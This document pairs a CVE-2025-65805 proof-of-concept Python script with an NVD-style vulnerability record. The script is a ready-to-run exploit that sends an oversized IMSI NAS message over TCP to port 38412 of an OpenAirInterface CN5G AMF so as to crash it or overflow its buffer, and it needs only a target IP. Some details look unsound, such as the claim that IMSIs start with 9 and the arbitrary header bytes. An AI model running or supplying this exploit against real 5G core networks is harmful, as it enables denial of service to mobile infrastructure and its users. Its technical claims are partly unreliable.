CVE-2025-65805

#!/usr/bin/env python3 """ CVE-2025-65805 PoC - OpenAirInterface CN5G AMF Buffer Overflow Note: This PoC is for educational and authorized security testing only. """ import socket import struct import sys def create_nas_message_with_long_imsi(imsi_length=1500): """Construct a NAS message with oversized IMSI field""" # NAS message header nas_header = bytes([0x00, 0x01, 0x02, 0x03]) # IMSI field with excessive length (triggering overflow) long_imsi = b'9' * imsi_length # IMSI typically starts with digit 9 # Construct the malformed NAS message nas_message = nas_header + long_imsi return nas_message def exploit_amf_buffer_overflow(target_ip, target_port=38412): """ Send malicious NAS message to AMF N1 interface Args: target_ip: AMF server IP address target_port: N1 interface port (default 38412) """ try: print(f"[*] Connecting to AMF at {target_ip}:{target_port}") # Create malicious payload payload = create_nas_message_with_long_imsi(1500) print(f"[*] Sending malicious NAS message ({len(payload)} bytes)") print(f"[*] IMSI field length: 1500 bytes (exceeds 1000 byte limit)") # Establish connection and send payload sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload) print("[+] Payload sent successfully") print("[!] Target may be crashed or code execution achieved") sock.close() return True except socket.timeout: print("[-] Connection timeout - target may be vulnerable and blocking") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 38412 exploit_amf_buffer_overflow(target, port)

{"cve": {"id": "CVE-2025-65805", "sourceIdentifier": "[email protected]", "published": "2026-01-07T17:16:00.953", "lastModified": "2026-01-29T01:12:10.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenAirInterface CN5G AMF<=v2.1.9 has a buffer overflow vulnerability in processing NAS messages. Unauthorized remote attackers can launch a denial-of-service attack and potentially execute malicious code by accessing port N1 and sending an imsi string longer than 1000 to AMF."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openairinterface:oai-cn5g-amf:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.1.9", "matchCriteriaId": "D58FB2C7-F56A-484A-9795-4875476DA90A"}]}]}], "references": [{"url": "https://github.com/swallele/Vulnerability/blob/main/Openairinterface/Buffer_Overflow/Vulnerability_Report.md", "source": "[email protected]", "tags": ["Broken Link"]}]}}